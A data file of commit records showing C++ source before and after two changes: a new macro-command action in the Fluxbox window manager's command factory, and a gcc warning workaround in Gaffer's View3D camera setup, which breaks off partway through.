{"text":"<commit_before>\/\/ FbCommandFactory.cc for Fluxbox Window manager\n\/\/ Copyright (c) 2003 Henrik Kinnunen (fluxgen at users.sourceforge.net)\n\/\/                and Simon Bowden (rathnor at users.sourceforge.net)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\n\/\/ $Id: FbCommandFactory.cc,v 1.17 2003\/09\/29 13:01:01 rathnor Exp $\n\n#include \"FbCommandFactory.hh\"\n\n#include \"CurrentWindowCmd.hh\"\n#include \"FbCommands.hh\"\n#include \"Window.hh\"\n#include \"WorkspaceCmd.hh\"\n#include \"fluxbox.hh\"\n#include \"SimpleCommand.hh\"\n#include \"Screen.hh\"\n\n#include <sstream>\n\n\/\/ autoregister this module to command parser\nFbCommandFactory FbCommandFactory::s_autoreg;\n\n\nFbCommandFactory::FbCommandFactory() {\n    \/\/ setup commands that we can handle\n    const char* commands[] = {\n        \"arrangewindows\",\n        \"close\",\n        \"detachclient\",\n        \"exec\",\n        \"execcommand\",\n        \"execute\",\n        \"iconfiy\",\n        \"killwindow\",\n        \"leftworkspace\",\n        \"lower\",\n        \"maximize\",\n        \"maximizehorizontal\",\n        \"maximizevertical\",\n        \"maximizewindow\",\n        \"minimize\",\n        \"minimizewindow\",\n        \"move\",\n        \"movedown\",\n        \"moveleft\",\n        \"moveright\",\n        \"movetableft\",\n        \"movetabright\",\n        \"moveup\",\n        \"nextgroup\",\n        \"nexttab\",\n        \"nextwindow\",\n        \"nextworkspace\",\n        \"prevgroup\",\n        \"prevtab\",\n        \"prevwindow\",\n        \"prevworkspace\",\n        \"quit\",\n        \"raise\",\n        \"reconfigure\",\n        \"resize\",\n        \"resizehorizontal\",\n        \"resizevertical\",\n        \"restart\",\n        \"rightworkspace\",\n        \"rootmenu\",\n        \"saverc\",\n        \"sendtoworkspace\",\n        \"setstyle\",\n        \"setworkspacename\",\n        \"shade\",\n        \"shadewindow\",\n        \"showdesktop\",\n        \"stick\",\n        \"stickwindow\",\n        \"toggledecor\",\n        \"workspace\",\n        \"workspacemenu\",\n        \"\"\n    };\n\n    for (int i=0;; ++i) {\n        if (strcmp(commands[i], \"\") == 0)\n            break;\n        addCommand(commands[i]);\n    }\n                     \n}\n\nFbTk::Command *FbCommandFactory::stringToCommand(const std::string &command,\n                                                 const std::string &arguments) {\n    using namespace FbCommands;\n    \/\/\n    \/\/ WM commands\n    \/\/\n    if (command == \"restart\")\n        return new RestartFluxboxCmd(arguments);\n    else if (command == \"reconfigure\")\n        return new ReconfigureFluxboxCmd();\n    else if (command == \"setstyle\")\n        return new SetStyleCmd(arguments);\n    else if (command == \"saverc\")\n        return new SaveResources();\n    else if (command == \"execcommand\" || command == \"execute\" || command == \"exec\")\n        return new ExecuteCmd(arguments); \/\/ execute command on key screen\n    else if (command == \"quit\")\n        return new FbTk::SimpleCommand<Fluxbox>(*Fluxbox::instance(), &Fluxbox::shutdown);\n    \/\/\n    \/\/ Current focused window commands\n    \/\/\n    else if (command == \"minimizewindow\" || command == \"minimize\" || command == \"iconify\")\n        return new CurrentWindowCmd(&FluxboxWindow::iconify);\n    else if (command == \"maximizewindow\" || command == \"maximize\")\n        return new CurrentWindowCmd(&FluxboxWindow::maximizeFull);\n    else if (command == \"maximizevertical\")\n        return new CurrentWindowCmd(&FluxboxWindow::maximizeVertical);\n    else if (command == \"maximizehorizontal\")\n        return new CurrentWindowCmd(&FluxboxWindow::maximizeHorizontal);\n    else if (command == \"resize\") {\n        std::istringstream is(arguments); \n        int dx = 0, dy = 0;\n        is >> dx >> dy;\n        return new ResizeCmd(dx, dy);\n    }\n    else if (command == \"resizehorizontal\")\n        return new ResizeCmd(atoi(arguments.c_str()),0);\n    else if (command == \"resizevertical\")\n        return new ResizeCmd(0,atoi(arguments.c_str()));\n    else if (command == \"move\") {\n        std::istringstream is(arguments);\n        int dx = 0, dy = 0;\n        is >> dx >> dy;\n        return new MoveCmd(dx, dy);\n    }\n    else if (command == \"moveright\")\n        return new MoveCmd(atoi(arguments.c_str()),0);\n    else if (command == \"moveleft\")\n        return new MoveCmd(-atoi(arguments.c_str()),0);\n    else if (command == \"moveup\")\n        return new MoveCmd(0,-atoi(arguments.c_str()));\n    else if (command == \"movedown\")\n        return new MoveCmd(0,atoi(arguments.c_str()));\n    else if (command == \"raise\")\n        return new CurrentWindowCmd(&FluxboxWindow::raise);\n    else if (command == \"lower\")\n        return new CurrentWindowCmd(&FluxboxWindow::lower);\n    else if (command == \"close\")\n        return new CurrentWindowCmd(&FluxboxWindow::close);\n    else if (command == \"shade\" || command == \"shadewindow\")\n        return new CurrentWindowCmd(&FluxboxWindow::shade);\n    else if (command == \"stick\" || command == \"stickwindow\")\n        return new CurrentWindowCmd(&FluxboxWindow::stick);\n    else if (command == \"toggledecor\")\n        return new CurrentWindowCmd(&FluxboxWindow::toggleDecoration);\n    else if (command == \"sendtoworkspace\")\n        return new SendToWorkspaceCmd(atoi(arguments.c_str()) - 1); \/\/ make 1-indexed to user\n    else if (command == \"killwindow\")\n        return new KillWindowCmd();\n     else if (command == \"nexttab\")\n        return new CurrentWindowCmd(&FluxboxWindow::nextClient);\n    else if (command == \"prevtab\")\n        return new CurrentWindowCmd(&FluxboxWindow::prevClient);\n    else if (command == \"movetableft\")\n        return new CurrentWindowCmd(&FluxboxWindow::moveClientLeft);\n    else if (command == \"movetabright\")\n        return new CurrentWindowCmd(&FluxboxWindow::moveClientRight);\n    else if (command == \"detachclient\")\n        return new CurrentWindowCmd(&FluxboxWindow::detachCurrentClient);\n    \/\/ \n    \/\/ Workspace commands\n    \/\/\n    else if (command == \"nextworkspace\" && arguments.size() == 0)\n        return new NextWorkspaceCmd();\n    else if (command == \"prevworkspace\" && arguments.size() == 0)\n        return new PrevWorkspaceCmd();\n    else if (command == \"rightworkspace\")\n        return new RightWorkspaceCmd(atoi(arguments.c_str()));\n    else if (command == \"leftworkspace\")\n        return new LeftWorkspaceCmd(atoi(arguments.c_str()));\n    else if (command == \"workspace\") {\n        int num = 1; \/\/ workspaces appear 1-indexed to the user\n        if (!arguments.empty())\n            num = atoi(arguments.c_str());\n        return new JumpToWorkspaceCmd(num-1);\n    } else if (command == \"nextwindow\")\n        return new NextWindowCmd(atoi(arguments.c_str()));\n    else if (command == \"prevwindow\")\n        return new PrevWindowCmd(atoi(arguments.c_str()));\n    else if (command == \"nextgroup\")\n        return new NextWindowCmd(atoi(arguments.c_str()) ^ BScreen::CYCLEGROUPS);\n    else if (command == \"prevgroup\")\n        return new PrevWindowCmd(atoi(arguments.c_str()) ^ BScreen::CYCLEGROUPS);\n    else if (command == \"arrangewindows\")\n        return new ArrangeWindowsCmd();\n    else if (command == \"showdesktop\")\n        return new ShowDesktopCmd();\n    else if (command == \"rootmenu\")\n        return new ShowRootMenuCmd();\n    else if (command == \"workspacemenu\")\n        return new ShowWorkspaceMenuCmd();\n    else if (command == \"setworkspacename\")\n        return new SetWorkspaceNameCmd();\n    return 0;\n}\n<commit_msg>added MacroCmd action, thanks Mathias Gumz<commit_after>\/\/ FbCommandFactory.cc for Fluxbox Window manager\n\/\/ Copyright (c) 2003 Henrik Kinnunen (fluxgen at users.sourceforge.net)\n\/\/                and Simon Bowden (rathnor at users.sourceforge.net)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\n\/\/ $Id: FbCommandFactory.cc,v 1.18 2003\/09\/29 14:22:07 fluxgen Exp $\n\n#include \"FbCommandFactory.hh\"\n\n#include \"CurrentWindowCmd.hh\"\n#include \"FbCommands.hh\"\n#include \"Window.hh\"\n#include \"WorkspaceCmd.hh\"\n#include \"fluxbox.hh\"\n#include \"SimpleCommand.hh\"\n#include \"Screen.hh\"\n\n#include \"FbTk\/StringUtil.hh\"\n#include \"FbTk\/MacroCommand.hh\"\n\n#include <string>\n#include <sstream>\n\n\/\/ autoregister this module to command parser\nFbCommandFactory FbCommandFactory::s_autoreg;\n\n\nFbCommandFactory::FbCommandFactory() {\n    \/\/ setup commands that we can handle\n    const char* commands[] = {\n        \"arrangewindows\",\n        \"close\",\n        \"detachclient\",\n        \"exec\",\n        \"execcommand\",\n        \"execute\",\n        \"iconfiy\",\n        \"killwindow\",\n        \"leftworkspace\",\n        \"lower\",\n        \"macrocmd\",\n        \"maximize\",\n        \"maximizehorizontal\",\n        \"maximizevertical\",\n        \"maximizewindow\",\n        \"minimize\",\n        \"minimizewindow\",\n        \"move\",\n        \"movedown\",\n        \"moveleft\",\n        \"moveright\",\n        \"movetableft\",\n        \"movetabright\",\n        \"moveup\",\n        \"nextgroup\",\n        \"nexttab\",\n        \"nextwindow\",\n        \"nextworkspace\",\n        \"prevgroup\",\n        \"prevtab\",\n        \"prevwindow\",\n        \"prevworkspace\",\n        \"quit\",\n        \"raise\",\n        \"reconfigure\",\n        \"resize\",\n        \"resizehorizontal\",\n        \"resizevertical\",\n        \"restart\",\n        \"rightworkspace\",\n        \"rootmenu\",\n        \"saverc\",\n        \"sendtoworkspace\",\n        \"setstyle\",\n        \"setworkspacename\",\n        \"shade\",\n        \"shadewindow\",\n        \"showdesktop\",\n        \"stick\",\n        \"stickwindow\",\n        \"toggledecor\",\n        \"workspace\",\n        \"workspacemenu\",\n        \"\"\n    };\n\n    for (int i=0;; ++i) {\n        if (strcmp(commands[i], \"\") == 0)\n            break;\n        addCommand(commands[i]);\n    }\n                     \n}\n\nFbTk::Command *FbCommandFactory::stringToCommand(const std::string &command,\n                                                 const std::string &arguments) {\n    using namespace FbCommands;\n    \/\/\n    \/\/ WM commands\n    \/\/\n    if (command == \"restart\")\n        return new RestartFluxboxCmd(arguments);\n    else if (command == \"reconfigure\")\n        return new ReconfigureFluxboxCmd();\n    else if (command == \"setstyle\")\n        return new SetStyleCmd(arguments);\n    else if (command == \"saverc\")\n        return new SaveResources();\n    else if (command == \"execcommand\" || command == \"execute\" || command == \"exec\")\n        return new ExecuteCmd(arguments); \/\/ execute command on key screen\n    else if (command == \"quit\")\n        return new FbTk::SimpleCommand<Fluxbox>(*Fluxbox::instance(), &Fluxbox::shutdown);\n    \/\/\n    \/\/ Current focused window commands\n    \/\/\n    else if (command == \"minimizewindow\" || command == \"minimize\" || command == \"iconify\")\n        return new CurrentWindowCmd(&FluxboxWindow::iconify);\n    else if (command == \"maximizewindow\" || command == \"maximize\")\n        return new CurrentWindowCmd(&FluxboxWindow::maximizeFull);\n    else if (command == \"maximizevertical\")\n        return new CurrentWindowCmd(&FluxboxWindow::maximizeVertical);\n    else if (command == \"maximizehorizontal\")\n        return new CurrentWindowCmd(&FluxboxWindow::maximizeHorizontal);\n    else if (command == \"resize\") {\n        std::istringstream is(arguments); \n        int dx = 0, dy = 0;\n        is >> dx >> dy;\n        return new ResizeCmd(dx, dy);\n    }\n    else if (command == \"resizehorizontal\")\n        return new ResizeCmd(atoi(arguments.c_str()),0);\n    else if (command == \"resizevertical\")\n        return new ResizeCmd(0,atoi(arguments.c_str()));\n    else if (command == \"move\") {\n        std::istringstream is(arguments);\n        int dx = 0, dy = 0;\n        is >> dx >> dy;\n        return new MoveCmd(dx, dy);\n    }\n    else if (command == \"moveright\")\n        return new MoveCmd(atoi(arguments.c_str()),0);\n    else if (command == \"moveleft\")\n        return new MoveCmd(-atoi(arguments.c_str()),0);\n    else if (command == \"moveup\")\n        return new MoveCmd(0,-atoi(arguments.c_str()));\n    else if (command == \"movedown\")\n        return new MoveCmd(0,atoi(arguments.c_str()));\n    else if (command == \"raise\")\n        return new CurrentWindowCmd(&FluxboxWindow::raise);\n    else if (command == \"lower\")\n        return new CurrentWindowCmd(&FluxboxWindow::lower);\n    else if (command == \"close\")\n        return new CurrentWindowCmd(&FluxboxWindow::close);\n    else if (command == \"shade\" || command == \"shadewindow\")\n        return new CurrentWindowCmd(&FluxboxWindow::shade);\n    else if (command == \"stick\" || command == \"stickwindow\")\n        return new CurrentWindowCmd(&FluxboxWindow::stick);\n    else if (command == \"toggledecor\")\n        return new CurrentWindowCmd(&FluxboxWindow::toggleDecoration);\n    else if (command == \"sendtoworkspace\")\n        return new SendToWorkspaceCmd(atoi(arguments.c_str()) - 1); \/\/ make 1-indexed to user\n    else if (command == \"killwindow\")\n        return new KillWindowCmd();\n     else if (command == \"nexttab\")\n        return new CurrentWindowCmd(&FluxboxWindow::nextClient);\n    else if (command == \"prevtab\")\n        return new CurrentWindowCmd(&FluxboxWindow::prevClient);\n    else if (command == \"movetableft\")\n        return new CurrentWindowCmd(&FluxboxWindow::moveClientLeft);\n    else if (command == \"movetabright\")\n        return new CurrentWindowCmd(&FluxboxWindow::moveClientRight);\n    else if (command == \"detachclient\")\n        return new CurrentWindowCmd(&FluxboxWindow::detachCurrentClient);\n    \/\/ \n    \/\/ Workspace commands\n    \/\/\n    else if (command == \"nextworkspace\" && arguments.size() == 0)\n        return new NextWorkspaceCmd();\n    else if (command == \"prevworkspace\" && arguments.size() == 0)\n        return new PrevWorkspaceCmd();\n    else if (command == \"rightworkspace\")\n        return new RightWorkspaceCmd(atoi(arguments.c_str()));\n    else if (command == \"leftworkspace\")\n        return new LeftWorkspaceCmd(atoi(arguments.c_str()));\n    else if (command == \"workspace\") {\n        int num = 1; \/\/ workspaces appear 1-indexed to the user\n        if (!arguments.empty())\n            num = atoi(arguments.c_str());\n        return new JumpToWorkspaceCmd(num-1);\n    } else if (command == \"nextwindow\")\n        return new NextWindowCmd(atoi(arguments.c_str()));\n    else if (command == \"prevwindow\")\n        return new PrevWindowCmd(atoi(arguments.c_str()));\n    else if (command == \"nextgroup\")\n        return new NextWindowCmd(atoi(arguments.c_str()) ^ BScreen::CYCLEGROUPS);\n    else if (command == \"prevgroup\")\n        return new PrevWindowCmd(atoi(arguments.c_str()) ^ BScreen::CYCLEGROUPS);\n    else if (command == \"arrangewindows\")\n        return new ArrangeWindowsCmd();\n    else if (command == \"showdesktop\")\n        return new ShowDesktopCmd();\n    else if (command == \"rootmenu\")\n        return new ShowRootMenuCmd();\n    else if (command == \"workspacemenu\")\n        return new ShowWorkspaceMenuCmd();\n    else if (command == \"setworkspacename\")\n        return new SetWorkspaceNameCmd();\n    \/\/\n    \/\/ special commands\n    \/\/\n    else if (command == \"macrocmd\") {\n      std::string cmd;\n      int   err= 0;\n      int   parse_pos= 0;\n      FbTk::MacroCommand* macro= new FbTk::MacroCommand();\n\n      while (true) {\n        parse_pos+= err;\n        err= FbTk::StringUtil::getStringBetween(cmd, arguments.c_str() + parse_pos,\n                                              '{', '}', \" \\t\\n\", true);\n        if ( err > 0 ) {\n          std::string c, a;\n          std::string::size_type first_pos = FbTk::StringUtil::removeFirstWhitespace(cmd);\n          std::string::size_type second_pos= cmd.find_first_of(\" \\t\", first_pos);\n          if (second_pos != std::string::npos) {\n            a= cmd.substr(second_pos);\n            FbTk::StringUtil::removeFirstWhitespace(a);\n            cmd.erase(second_pos);\n          }\n          c= FbTk::StringUtil::toLower(cmd);\n\n          FbTk::Command* fbcmd= stringToCommand(c,a);\n          if ( fbcmd ) {\n            FbTk::RefCount<FbTk::Command> rfbcmd(fbcmd);\n            macro->add(rfbcmd);\n          }\n        }\n        else\n          break;\n      }\n\n      if ( macro->size() > 0 )\n        return macro;\n\n      delete macro;\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2012-2013, John Haddon. All rights reserved.\n\/\/  Copyright (c) 2013, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/\n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/\n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/bind.hpp\"\n\n#include \"IECore\/Camera.h\"\n#include \"IECore\/Transform.h\"\n#include \"IECore\/AngleConversion.h\"\n#include \"IECore\/MatrixTransform.h\"\n\n#include \"IECoreGL\/Primitive.h\"\n\n#include \"Gaffer\/CompoundPlug.h\"\n#include \"Gaffer\/NumericPlug.h\"\n#include \"Gaffer\/TypedPlug.h\"\n\n#include \"GafferUI\/View3D.h\"\n\nusing namespace Imath;\nusing namespace IECoreGL;\nusing namespace Gaffer;\nusing namespace GafferUI;\n\nIE_CORE_DEFINERUNTIMETYPED( View3D );\n\nView3D::View3D( const std::string &name, Gaffer::PlugPtr inPlug )\n\t:\tView( name, inPlug ), m_baseState( new IECoreGL::State( true ) )\n{\n\n\t\/\/ base state setup\n\n\tm_baseState->add( new WireframeColorStateComponent( Color4f( 0.2f, 0.2f, 0.2f, 1.0f ) ) );\n\tm_baseState->add( new PointColorStateComponent( Color4f( 0.9f, 0.9f, 0.9f, 1.0f ) ) );\n\tm_baseState->add( new IECoreGL::Primitive::PointWidth( 2.0f ) );\n\n\t\/\/ plugs\n\n\tCompoundPlugPtr baseState = new CompoundPlug( \"baseState\" );\n\taddChild( baseState );\n\n\tCompoundPlugPtr solid = new CompoundPlug( \"solid\" );\n\tbaseState->addChild( solid );\n\tsolid->addChild( new BoolPlug( \"enabled\", Plug::In, true ) );\n\tsolid->addChild( new BoolPlug( \"override\" ) );\n\n\tCompoundPlugPtr wireframe = new CompoundPlug( \"wireframe\" );\n\tbaseState->addChild( wireframe );\n\twireframe->addChild( new BoolPlug( \"enabled\" ) );\n\twireframe->addChild( new BoolPlug( \"override\" ) );\n\n\tCompoundPlugPtr points = new CompoundPlug( \"points\" );\n\tbaseState->addChild( points );\n\tpoints->addChild( new BoolPlug( \"enabled\" ) );\n\tpoints->addChild( new BoolPlug( \"override\" ) );\n\n\tCompoundPlugPtr bound = new CompoundPlug( \"bound\" );\n\tbaseState->addChild( bound );\n\tbound->addChild( new BoolPlug( \"enabled\" ) );\n\tbound->addChild( new BoolPlug( \"override\" ) );\n\n\tplugSetSignal().connect( boost::bind( &View3D::plugSet, this, ::_1 ) );\n\n\t\/\/ camera\n\n\tIECore::CameraPtr camera = new IECore::Camera();\n\n\tcamera->parameters()[\"projection\"] = new IECore::StringData( \"perspective\" );\n\tcamera->parameters()[\"projection:fov\"] = new IECore::FloatData( 54.43 ); \/\/ 35 mm focal length\n\n\tM44f matrix;\n\tmatrix.translate( V3f( 0, 0, 1 ) );\n\tmatrix.rotate( IECore::degreesToRadians( V3f( -25, 45, 0 ) ) );\n\tcamera->setTransform( new IECore::MatrixTransform( matrix ) );\n\n\tviewportGadget()->setCamera( camera.get() );\n}\n\nView3D::~View3D()\n{\n}\n\nconst IECoreGL::State *View3D::baseState() const\n{\n\treturn m_baseState.get();\n}\n\nView3D::BaseStateChangedSignal &View3D::baseStateChangedSignal()\n{\n\treturn m_baseStateChangedSignal;\n}\n\nvoid View3D::plugSet( const Gaffer::Plug *plug )\n{\n\tif( plug == getChild<Plug>( \"baseState\" ) )\n\t{\n\t\tupdateBaseState();\n\t}\n}\n\nvoid View3D::updateBaseState()\n{\n\tconst CompoundPlug *baseState = getChild<CompoundPlug>( \"baseState\" );\n\n\tconst CompoundPlug *solid = baseState->getChild<CompoundPlug>( \"solid\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawSolid( solid->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\tsolid->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tconst CompoundPlug *wireframe = baseState->getChild<CompoundPlug>( \"wireframe\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawWireframe( wireframe->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\twireframe->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tconst CompoundPlug *points = baseState->getChild<CompoundPlug>( \"points\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawPoints( points->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\tpoints->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tconst CompoundPlug *bound = baseState->getChild<CompoundPlug>( \"bound\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawBound( bound->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\tbound->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tbaseStateChangedSignal()( this );\n}\n<commit_msg>Fixed compilation without NDEBUG=1 with gcc 4.1.2.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2012-2013, John Haddon. All rights reserved.\n\/\/  Copyright (c) 2013, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/\n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/\n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/bind.hpp\"\n\n#include \"IECore\/Camera.h\"\n#include \"IECore\/Transform.h\"\n#include \"IECore\/AngleConversion.h\"\n#include \"IECore\/MatrixTransform.h\"\n\n#include \"IECoreGL\/Primitive.h\"\n\n#include \"Gaffer\/CompoundPlug.h\"\n#include \"Gaffer\/NumericPlug.h\"\n#include \"Gaffer\/TypedPlug.h\"\n\n#include \"GafferUI\/View3D.h\"\n\nusing namespace Imath;\nusing namespace IECoreGL;\nusing namespace Gaffer;\nusing namespace GafferUI;\n\nIE_CORE_DEFINERUNTIMETYPED( View3D );\n\nView3D::View3D( const std::string &name, Gaffer::PlugPtr inPlug )\n\t:\tView( name, inPlug ), m_baseState( new IECoreGL::State( true ) )\n{\n\n\t\/\/ base state setup\n\n\tm_baseState->add( new WireframeColorStateComponent( Color4f( 0.2f, 0.2f, 0.2f, 1.0f ) ) );\n\tm_baseState->add( new PointColorStateComponent( Color4f( 0.9f, 0.9f, 0.9f, 1.0f ) ) );\n\tm_baseState->add( new IECoreGL::Primitive::PointWidth( 2.0f ) );\n\n\t\/\/ plugs\n\n\tCompoundPlugPtr baseState = new CompoundPlug( \"baseState\" );\n\taddChild( baseState );\n\n\tCompoundPlugPtr solid = new CompoundPlug( \"solid\" );\n\tbaseState->addChild( solid );\n\tsolid->addChild( new BoolPlug( \"enabled\", Plug::In, true ) );\n\tsolid->addChild( new BoolPlug( \"override\" ) );\n\n\tCompoundPlugPtr wireframe = new CompoundPlug( \"wireframe\" );\n\tbaseState->addChild( wireframe );\n\twireframe->addChild( new BoolPlug( \"enabled\" ) );\n\twireframe->addChild( new BoolPlug( \"override\" ) );\n\n\tCompoundPlugPtr points = new CompoundPlug( \"points\" );\n\tbaseState->addChild( points );\n\tpoints->addChild( new BoolPlug( \"enabled\" ) );\n\tpoints->addChild( new BoolPlug( \"override\" ) );\n\n\tCompoundPlugPtr bound = new CompoundPlug( \"bound\" );\n\tbaseState->addChild( bound );\n\tbound->addChild( new BoolPlug( \"enabled\" ) );\n\tbound->addChild( new BoolPlug( \"override\" ) );\n\n\tplugSetSignal().connect( boost::bind( &View3D::plugSet, this, ::_1 ) );\n\n\t\/\/ camera\n\n\t\/\/ weird two stage assignment is to work around bogus\n\t\/\/ uninitialised variable warnings in debug builds with\n\t\/\/ gcc 4.1.2.\n\tIECore::CameraPtr camera; camera = new IECore::Camera();\n\n\tcamera->parameters()[\"projection\"] = new IECore::StringData( \"perspective\" );\n\tcamera->parameters()[\"projection:fov\"] = new IECore::FloatData( 54.43 ); \/\/ 35 mm focal length\n\n\tM44f 